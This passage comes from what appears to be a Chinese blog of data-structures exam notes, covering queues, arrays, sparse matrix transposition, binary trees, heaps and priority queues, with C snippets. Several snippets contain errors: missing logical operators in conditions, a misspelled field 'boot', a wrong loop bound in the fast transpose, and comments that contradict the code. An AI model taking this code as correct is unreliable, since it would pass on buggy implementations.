plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">//定义</span><br><span class="line">typedef struct node</span><br><span class="line">{</span><br><span class="line"> Elemtype element; //数据域</span><br><span class="line"> struct node *link; //指针域</span><br><span class="line">}Node;</span><br><span class="line">typedef struct queue</span><br><span class="line">{</span><br><span class="line"> Node *front; //头指针</span><br><span class="line"> Node *rear; //尾指针</span><br><span class="line">}Queue;</span><br><span class="line">//入</span><br><span class="line">void Enqueue(Queue *Q, ElemType x)</span><br><span class="line">{</span><br><span class="line"> Node *p = (Node*)malloc(sizeof(Node)); // 结点申请空间</span><br><span class="line"> p->element = x; // 结点赋值</span><br><span class="line"> p->link = NULL; // 结点指向空</span><br><span class="line"> Q->rear->link = p; // 队列尾指向结点</span><br><span class="line"> Q->rear = p; //结点作为队列尾</span><br><span class="line">}</span><br><span class="line">//出</span><br><span class="line">void DeQueue(Queue *Q)</span><br><span class="line">{</span><br><span class="line"> if(Q->front == NULL) // 空队列</span><br><span class="line"> return;</span><br><span class="line"> Node *p = Q->front; //结点p移动到队头</span><br><span class="line"> Q->front = p->link; //队头变为结点所指向的结点</span><br><span class="line"> free(p); //释放结点</span><br><span class="line"> </span><br><span class="line"> if(Q->front == NULL) //若为空队,重置队尾</span><br><span class="line"> Q->rear = NULL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="后缀表达式"><a href="#后缀表达式" class="headerlink" title="后缀表达式"></a>后缀表达式</h3><p>应该就考填空</p><p>书上是栈的方法,我们来用这个</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242306960.jpg"></p><ul><li>先序遍历(先根)是先访问当前节点,然后再遍历左子树,最后是右子树。</li><li>中序遍历(中根)是先遍历左子树,再访问当前节点,最后是右子树。</li><li>后序遍历(后根)是先遍历左子树,再遍历右子树,最后访问当前节点。</li></ul><p>显然,逆波兰表达式为:4 1 5 2 - * + 6 3 / -</p><h2 id="数组和字符串"><a href="#数组和字符串" class="headerlink" title="数组和字符串"></a>数组和字符串</h2><h3 id="数组(库)"><a href="#数组(库)" class="headerlink" title="数组(库)"></a>数组(库)</h3><p>一维数组</p><p>$Loc(a[i]) = Loc(a[0]) + i*k$</p><p>二维数组</p><p><img src="https://img-blog.csdnimg.cn/20200822222819277.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="二维数组"></p><p>行优先顺序地址计算</p><p><img src="https://img-blog.csdnimg.cn/20200822222941428.png#pic_center" alt="行优先"></p><p>$$loc(ai)=loc(a0)+(in+j)k$$</p><ul><li>$k$——每个元素存储单位</li><li>$loc(a0)$——第一个元素存储地址</li><li>$loc(ai)$——$ai$存储地址</li></ul><p>列优先</p><p><img src="https://img-blog.csdnimg.cn/20200822223459115.png#pic_center" alt="列优先"></p><p>$loc(ai)=loc(a0)+(jm+i)k$</p><h3 id="数组抽象数据结构(三维数组实现)"><a href="#数组抽象数据结构(三维数组实现)" class="headerlink" title="数组抽象数据结构(三维数组实现)"></a>数组抽象数据结构(三维数组实现)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">//定义</span><br><span class="line">typedef struct tdarray{</span><br><span class="line"> int m1, m2, m3; // 每个维度的值</span><br><span class="line"> int *array; //数组首地址</span><br><span class="line">}TDArray;</span><br><span class="line">//创建</span><br><span class="line">Status CreateArray(TDArray *tdArray, int m1,int m2,int m3)</span><br><span class="line">{</span><br><span class="line"> tdarray->m1 = m1;</span><br><span class="line"> tdarray->m2 = m2;</span><br><span class="line"> tdarray->m3 = m3;</span><br><span class="line"> tdarray->array = (int*)malloc(m1*m2*m3*sizeof(int)); // 申请空间</span><br><span class="line"> if(!tdarray->array) //申请失败</span><br><span class="line"> return ERROR;</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br><span class="line">//下标检查(返回地址)</span><br><span class="line">Status RetrieveArray(TDArray tdarray,int i1,int i2,int i3,int *x)</span><br><span class="line">{</span><br><span class="line"> if(!tdarray.array) //数组不存在</span><br><span class="line"> return NotPresent;</span><br><span class="line"> if(i1<0 i2<0 i3<0 i1>tdarray.m1 i1>tdarray.m2 i1>tdarray.m3 ) //越界</span><br><span class="line"> return IllegalIndex;</span><br><span class="line"> *x = *(tdarray.array+i1*tdarray.m2*tdarray.m3+i2*tdarray.m3+i3); // 返回存储位置</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="特殊矩阵"><a href="#特殊矩阵" class="headerlink" title="特殊矩阵"></a>特殊矩阵</h3><p>对称矩阵</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242307676.png"></p><p>存上三角或者下三角</p><p>下三角矩阵</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242307425.png"></p><p>上三角矩阵</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242307257.png"></p><p>0或者其他常数放到最后一个值里面</p><h3 id="稀疏矩阵"><a href="#稀疏矩阵" class="headerlink" title="稀疏矩阵"></a>稀疏矩阵</h3><p>以三元组$<i,j,a_{ij}>$表示</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242307329.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">typedef struct term</span><br><span class="line">{</span><br><span class="line"> int col,row; // 列下标,行下标</span><br><span class="line"> ElemType value; // 非零值</span><br><span class="line">}Term;</span><br><span class="line">typedef struct sparsematrix</span><br><span class="line">{</span><br><span class="line"> int m,n,t; //m是矩阵行数,n是矩阵列数,c是非零元速个数</span><br><span class="line"> Term table[maxSize]; // 存储非零元的三元组表</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="稀疏矩阵转置算法"><a href="#稀疏矩阵转置算法" class="headerlink" title="稀疏矩阵转置算法"></a>稀疏矩阵转置算法</h3><p>第一种</p><ol><li>交换$i,j$</li><li>以$i,j$从小到大排序</li></ol><p><img src="https://img-blog.csdnimg.cn/20200822235016136.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="转置算法一"></p><p>时间复杂度</p><ul><li>步骤一:$O(t)$ $t$——非零元素个数</li><li>排序复杂度$O(t^2)$或者$O(t\times\log_2\left(t\right))$</li></ul><p>第二种</p><ol><li>找到所有$<i,0,a_{i0}>$,交换$i,j$后依次保存到稀疏矩阵$B$</li><li>找到所有$<i,1,a_{i1}>$,交换$i,j$后依次保存到稀疏矩阵$B$</li><li>$……$</li></ol><p><img src="https://img-blog.csdnimg.cn/20200823000332888.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="转置算法二"></p><p>时间复杂度</p><p>$O(n \times t)$</p><ul><li>$t$——非零元素个数</li><li>$n$——列数</li></ul><p>快速转置算法</p><ol><li>计算每列非零元素个数$num[j]$</li><li>计算前$j$列非零元素个数$k[j]$</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">for(j=0;j<n;j++)</span><br><span class="line"> num[j] = 0;</span><br><span class="line">for(i=0;i<t;i++)</span><br><span class="line"> num[A.table[i].col]++;</span><br><span class="line"></span><br><span class="line">for(j=0;j<n;j++)</span><br><span class="line"> k[j] = 0;</span><br><span class="line">for(i=1;i<t;i++)</span><br><span class="line"> k[i] = k[i-1] + num[i-1];</span><br></pre></td></tr></table></figure><p>都是$O(t+n)$,n为矩阵的列数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">for(i = 0;i < t;i++){</span><br><span class="line"> int index = k[A.table[i].col]++;//先赋值再自增,是下一次的起始位置</span><br><span class="line"> B.table[index].col = A.table[i].row;</span><br><span class="line"> B.table[index].row = A.table[i].col;</span><br><span class="line"> B.table[index].value = A.table[i].value;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="字符串"><a href="#字符串" class="headerlink" title="字符串"></a>字符串</h3><p>疑似不考</p><h2 id="树和二叉树"><a href="#树和二叉树" class="headerlink" title="树和二叉树"></a>树和二叉树</h2><h3 id="术语"><a href="#术语" class="headerlink" title="术语"></a>术语</h3><p>结点关系</p><p><img src="https://img-blog.csdnimg.cn/20200823012938696.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="树"></p><ul><li>结点 树中的元素<code>E、A、F、B、G、C均为结点</code></li><li>边 根节点和子树跟之间</li><li>路径 从某个结点可达另一个结点<code>E、N间存在路径</code></li><li>双亲 该结点上连的点<code>A、F、B双亲是E;D双亲是F</code></li><li>孩子 该结点下连的点<code>E有3个孩子:A、F、B;D有一个孩子J</code></li><li>兄弟 有共同双亲的结点<code>A、F、B互为兄弟;C、D互为兄弟</code></li><li>后裔 子树的所有结点<code>C后裔为L、M、N</code></li><li>祖先 向上到根结点所有的点<code>L祖先为E、F、C</code></li></ul><p>度</p><ul><li>结点的度 结点的子树数<code>E:3;F:2;A:1;G:0</code></li><li>叶子 度为0的结点<code>B、G、J、M、N均为叶子</code></li><li>分支节点 度不为0的结点<code>E、A、F、C均为分支结点</code></li><li>树的度 结点度最大值<code>3</code></li></ul><p>高度</p><p><img src="https://img-blog.csdnimg.cn/20200823013802631.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="树的层次"></p><ul><li>结点的层次 第几层<code>E:1;M:5</code></li><li>树的高度 最大层次<code>5</code></li></ul><p>有序/无序</p><ul><li>无序树 <img src="https://img-blog.csdnimg.cn/2020082301424070.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="无序树"> 各子树顺序可交换</li><li>有序树<img src="https://img-blog.csdnimg.cn/2020082301441723.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述"> 各子树顺序不可交换</li></ul><h3 id="二叉树"><a href="#二叉树" class="headerlink" title="二叉树"></a>二叉树</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242308308.png"></p><p>性质</p><ol><li>第$i$层至多$2^{i-1}$个结点</li><li>高度为$h$的二叉树最多$2^{h}-1$个结点</li><li>包含$n$个结点的二叉树,$[log_2(n+1)]{\leq}h{\leq}n$</li><li>叶结点:$n_0$;度为$2$的结点:$n_2$可以得出: $n_0=n_2+1$</li></ol><h3 id="特殊二叉树(3种)"><a href="#特殊二叉树(3种)" class="headerlink" title="特殊二叉树(3种)"></a>特殊二叉树(3种)</h3><p>满二叉树</p><p>高度为$h$,且$2^h-1$结点</p><p><img src="https://img-blog.csdnimg.cn/20200823020014181.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="满二叉树"></p><ul><li>满二叉树一定是完全二叉树,也是扩充二叉树</li></ul><p>完全二叉树</p><ul><li>除最下面两层度小于$2$,其他层结点度均为$2$</li><li>最下一层叶结点均依次集中在靠左若干位置</li></ul><p><img src="https://img-blog.csdnimg.cn/20200823020453954.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="完全二叉树"></p><ul><li>完全二叉树高度$h=[log_2(n+1)]$</li><li>由上到下、由左到右、从$0$编号根——$i=0$双亲——$[\dfrac{i-1}{2}]$左孩子——$2i+1$右孩子——$2i+2$</li></ul><p>扩充二叉树(2-树)</p><ul><li>除叶子结点,必须有两个孩子</li><li>仅有度$2$和$0$的结点,不存在度为$1$的结点</li></ul><p><img src="https://img-blog.csdnimg.cn/20200823021232158.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="扩充二叉树"></p><h3 id="二叉树存储表示和部分运算"><a href="#二叉树存储表示和部分运算" class="headerlink" title="二叉树存储表示和部分运算"></a>二叉树存储表示和部分运算</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242308882.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">//定义</span><br><span class="line">typedef struct btnode</span><br><span class="line">{</span><br><span class="line"> ElemType element; // 元素内容</span><br><span class="line"> struct btnode *lChild; // 左孩子指针</span><br><span class="line"> struct btnode *rChild; // 右孩子指针</span><br><span class="line">}BTNode;</span><br><span class="line">typedef struct binarytree</span><br><span class="line">{</span><br><span class="line"> BTNode *root;</span><br><span class="line">}BinaryTree;</span><br><span class="line">//创建空二叉树</span><br><span class="line">void Create(BinaryTree *bt)</span><br><span class="line">{</span><br><span class="line"> bt->root = NULL;</span><br><span class="line">}</span><br><span class="line">//创建新结点</span><br><span class="line">BTNode* NewNode(ElemType x, BTNode *ln, BTNode *rn)</span><br><span class="line">{</span><br><span class="line"> BTNode *p = (BTNode*)malloc(sizeof(BTNode)); // 申请空间</span><br><span class="line"> p->element = x; // 结点内容赋值</span><br><span class="line"> p->lChild = ln; // 左子树赋值</span><br><span class="line"> p->rChild = rn; // 右子树赋值</span><br><span class="line"> return p;</span><br><span class="line">}</span><br><span class="line">//返回根结点</span><br><span class="line">BOOL Root(BinaryTree *bt, ElemType *x)</span><br><span class="line">{</span><br><span class="line"> if(!bt->boot) // 空树</span><br><span class="line"> return FALSE;</span><br><span class="line"> else</span><br><span class="line"> {</span><br><span class="line"> *x = bt->root->element; // 赋值</span><br><span class="line"> return TRUE;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">//构造二叉树</span><br><span class="line">void MakeTree(BinaryTree *bt, ElemType e, BinaryTree *left, BinaryTree *right) // bt:根地址 e:根值 left:左子树 right:右子树</span><br><span class="line">{</span><br><span class="line"> if(bt->root left==right)</span><br><span class="line"> return;</span><br><span class="line"> bt->root = NewNode(e,left->root,right->root);</span><br><span class="line"> left->root = right->root = NULL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="先序遍历和层次遍历"><a href="#先序遍历和层次遍历" class="headerlink" title="先序遍历和层次遍历"></a>先序遍历和层次遍历</h3><p>先根遍历:$O(n)$</p><ol><li>先访问根结点</li><li>先序遍历左子树</li><li>先序遍历右子树</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">void PreOrderTree(BinaryTree *bt)</span><br><span class="line">{</span><br><span class="line"> PreOrder(bt->root); // 调用先序遍历函数</span><br><span class="line">}</span><br><span class="line">void PreOrder(BTNode *t) // 先序遍历递归函数</span><br><span class="line">{</span><br><span class="line"> if(!t) // 树空了直接返回</span><br><span class="line"> return;</span><br><span class="line"> printf("%c",t->element); //访问根结点</span><br><span class="line"> PreOrder(t->lChild); // 先序遍历左子树</span><br><span class="line"> PreOrder(t->rChild); // 先序遍历右子树</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>步骤:</p><ul><li>若二叉树为空,直接退出否则,初始化队列再将根结点进队</li><li>若队列不为空<ol><li>获取队头结点$p$,并将队头结点出队</li><li>访问结点$p$中的数据</li><li>$p$的左孩子进队</li><li>$p$的右孩子进队</li></ol></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">void LevelOrderTree(BinaryTree *tree)</span><br><span class="line">{</span><br><span class="line"> Queue Q; // 存储BTNode结点类型指针的队列</span><br><span class="line"> BTNode *p;</span><br><span class="line"> if(!tree->root) // 二叉树为空</span><br><span class="line"> return;</span><br><span class="line"> Create(&Q, tree->root); // 初始化队列</span><br><span class="line"> EnQueue(&Q, tree->root); // 根结点进队</span><br><span class="line"> while(!IsEmpty(&Q))</span><br><span class="line"> {</span><br><span class="line"> Front(&Q,&p); DeQueue(&Q); // 获取队头结点</span><br><span class="line"> printf("%c",p->element); // 访问结点p</span><br><span class="line"> if(p->lChild) EnQueue(&Q,p->lChild); //若左孩子存在,则进队</span><br><span class="line"> if(p->rChild) EnQueue(&Q,p->rChild); //若右孩子存在,则进队</span><br><span class="line"> }</span><br><span class="line"> Destroy(&Q); // 销毁队列</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="树和森林"><a href="#树和森林" class="headerlink" title="树和森林"></a>树和森林</h3><p><img src="https://img-blog.csdnimg.cn/20200824094232641.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="森林与二叉树"></p><p>先序遍历</p><p>若森林为空,则结束</p><ol><li>访问第一棵树根</li><li>第一棵树的根结点子树构成的森林</li><li>先序遍历其他树</li></ol><ul><li>先序遍历等于每棵树先序遍历简单拼接</li></ul><p>中序遍历</p><p>若森林为空,则遍历结束;否则</p><ol><li>中序遍历第一棵树的根结点的子树构成的森林</li><li>访问第一棵树的根</li><li>中序遍历其他树</li></ol><ul><li>中序遍历等于每棵树中序遍历简单拼接</li></ul><p>后序遍历</p><p>若森林为空,则遍历结束;否则</p><ol><li>后序遍历第一棵树的根结点的子树构成的森林</li><li>后序遍历其他树</li><li>访问第一棵树的根</li></ol><ul><li>后序遍历不等于每棵树中序遍历简单拼接</li><li>不常用</li></ul><p>层次遍历</p><ol><li>访问第一层所有结点</li><li>访问第二层所有结点</li><li>$……$</li></ol><p><img src="https://img-blog.csdnimg.cn/20200824095037296.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="森林层次遍历"></p><h3 id="堆"><a href="#堆" class="headerlink" title="堆"></a>堆</h3><p>最小堆</p><p>每个结点数据<strong>小于等于</strong>孩子结点</p><p>最大堆</p><p>每个结点数据<strong>大于等于</strong>孩子结点</p><p><img src="https://img-blog.csdnimg.cn/20200824095651550.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="最小堆最大堆"></p><p>堆的判断</p><p><img src="https://img-blog.csdnimg.cn/20200824095936710.png#pic_center" alt="堆顺序表示"></p><p>最小堆</p><p>$k_i{\leq}k{2i+1}$和$k_i{\leq}k{2i+2}$</p><p>最大堆</p><p>$k_i{\geq}k{2i+1}$和$k_i{\geq}k{2i+2}$</p><p>建堆运算</p><p>从最后叶子的双亲$k_{[\frac{n-2}{2}]}$<strong>反方向</strong>直到根结点$k_0$,依次对每个结点$k_i$</p><ol><li>若该结点小于(大于)或等于其孩子,则结束</li><li>将该结点与与最小(大)孩子交换</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">//向下调整算法</span><br><span class="line">void AdjustDown(ElemType heap[], int current, int border) // heap:存放序列数组 current:当前待调整序列中的位置 border:待调整序列的边界</span><br><span class="line">{</span><br><span class="line"> int p = current;</span><br><span class="line"> int minChild;</span><br><span class="line"> ElemType temp;</span><br><span class="line"> while(2*p+1 <= border) // 若p不是叶结点</span><br><span class="line"> {</span><br><span class="line"> if((2*p+2 <= border) && (heap[2*p+1] > heap[2*p+2])) // 右孩子存在 右孩子较小</span><br><span class="line"> minChild = 2*p+2;</span><br><span class="line"> else // 右孩子不存在 或 右孩子较大</span><br><span class="line"> minChild = 2*p+1; </span><br><span class="line"> </span><br><span class="line"> if(heap[p] <= heap[minChild]) // 若当前结点不大于其最小的孩子,结束</span><br><span class="line"> break;</span><br><span class="line"> else // 否则将p和其最小孩子交换</span><br><span class="line"> {</span><br><span class="line"> temp = heap[p] ; heap[p] = heap[minChild] ; heap[minChild] = temp;</span><br><span class="line"> p = minChild; // 当前下移元素的位置</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">//建堆算法</span><br><span class="line">void CreateHeap(ElemType heap[], int n)</span><br><span class="line">{</span><br><span class="line"> int i;</span><br><span class="line"> for(i=(n-2)/2 ; i>-1 ;i--) // 从最后一个叶结点的双亲反向到根结点</span><br><span class="line"> AdjustDown(heap,i,n-1); // 依次执行向下调整</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="优先权队列"><a href="#优先权队列" class="headerlink" title="优先权队列"></a>优先权队列</h3><ul><li>元素加入次序无关紧要</li><li>出队只取最高优先级的元素</li></ul><p>进队</p><ul><li>将新元素放堆尾,并按照最小堆(或最大堆)进行调整$O(log_2n)$</li></ul><p>出队</p><ul><li>直接取出堆顶元素$O(1)$</li><li>按照最小堆(或最大堆)进行适当调整$O(log_2n)$</li></ul><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242308854.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">//定义</span><br><span class="line">typedef struct priorityQueue</span><br><span class="line">{</span><br><span class="line"> ElemType *element; // 存储元素数据</span><br><span class="line"> int n; // 元素个数</span><br><span class="line"> int maxSize; // 优先队列容量</span><br><span class="line">}PriorityQueue;</span><br><span class="line">//创建</span><br><span class="line">void CreatePQ(PriorityQueue *PQ, int mSize)</span><br><span class="line">{</span><br><span class="line"> PQ->maxSize = mSize; // PQ最大容量赋值</span><br><span class="line"> PQ->n = 0; // PQ元素个数为0</span><br><span class="line"> PQ->element = (ElemType*)malloc(mSize*sizeof(ElemType)); // 申请空间</span><br><span class="line">}</span><br><span class="line">//销毁</span><br><span class="line">void Destroy(PriorityQueue *PQ)</span><br><span class="line">{</span><br><span class="line"> free(PQ->element); // 释放数组空间</span><br><span class="line"> PQ->n = 0; // PQ元素个数为0</span><br><span class="line"> PQ->maxSize = 0; // PQ容量清零</span><br><span class="line">}</span><br><span class="line">//释放</span><br><span class="line">void Append(PriorityQueue *PQ, ElemType x)</span><br><span class="line">{</span><br><span class="line"> if(IsFull(PQ)) //满队</span><br><span class="line"> return;</span><br><span class="line"> PQ->element[PQ->n] = x; // 优先权队列最后一个元素后面插入一个元素</span><br><span class="line"> PQ->n++; // 元素数量+1</span><br><span class="line"> AdjustUp(PQ->element, PQ->n-1); // 新增元素向上调整</span><br><span class="line">}</span><br><span class="line">//取出</span><br><span class="line">void Serve(PriorityQueue *PQ, ElemType *x)</span><br><span class="line">{</span><br><span class="line"> if(IsEmpty(PQ)) // 空队</span><br><span class="line"> return;</span><br><span class="line"> *x = PQ->element[0]; // 栈顶元素赋值</span><br><span class="line"> PQ->n--; // 元素个数-1</span><br><span class="line"> PQ->element[0] = PQ->element[PQ->n]; // 用堆尾替代堆顶元素</span><br><span class="line"> AdjustDown(PQ->element, 0, PQ->n-1); // 向上调整</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="哈夫曼树"><a href="#哈夫曼树" class="headerlink" title="哈夫曼树"></a>哈夫曼树</h3><p>扩充二叉树路径长度(不存在度为1的结点)</p><p>$$E=I+2n$$</p><ul><li>$I$——内路径长度根到分支结点路径和</li><li>$E$——外路径长度根到叶子的路径长度</li></ul><p>加权路径长度</p><p>$$WPL={\sum}_{k=1}^mw_kl_k$$</p><ul><li>$m$——叶结点数量</li><li>$w_k$第$k$个叶结点权值</li><li>$l_k$该叶结点路径长度</li><li>$WPL$——文本最终转换成编码的总编码长度</li></ul><h3 id="哈夫曼树和哈夫曼编码"><a href="#哈夫曼树和哈夫曼编码" class="headerlink" 